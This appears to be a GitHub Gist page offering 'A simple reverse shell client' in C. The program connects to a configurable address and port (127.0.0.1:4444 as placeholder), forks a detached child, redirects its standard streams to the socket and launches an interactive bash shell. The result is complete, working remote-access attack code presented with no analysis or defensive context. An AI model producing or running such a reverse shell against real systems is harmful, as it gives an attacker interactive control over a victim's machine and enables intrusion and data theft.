Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
A simple reverse shell client
#include <arpa/inet.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 4444
int main(void)
{
int sock_fd;
struct sockaddr_in remote_addr;
pid_t pid;
if ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
fprintf(stderr, "Socket creation error: %s\n", strerror(errno));
return 1;
}
bzero(&remote_addr, 0);
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons(REMOTE_PORT);
if (inet_pton(AF_INET, REMOTE_ADDR, &remote_addr.sin_addr) == -1) {
fprintf(stderr, "Invalid address: %s\n", strerror(errno));
return 1;
}
if (connect(sock_fd, (struct sockaddr*)&remote_addr, sizeof(remote_addr)) < 0) {
fprintf(stderr, "Connection error: %s\n", strerror(errno));
return 1;
}
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork failed: %s\n", strerror(errno));
return 1;
}
if (pid == 0) {
if (setsid() < 0) {
fprintf(stderr, "Failed setting the child process as session leader: %s\n", strerror(errno));
return 1;
}
dup2(sock_fd, 0); // stdin
dup2(sock_fd, 1); // stdout
dup2(sock_fd, 2); // stderr
execl("/bin/bash", "bash", "-i", NULL); // launch a shell in interactive mode
return 1;
}
if (pid > 0) {
printf("Child process created, running at PID %d\n", pid);
return 0;
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.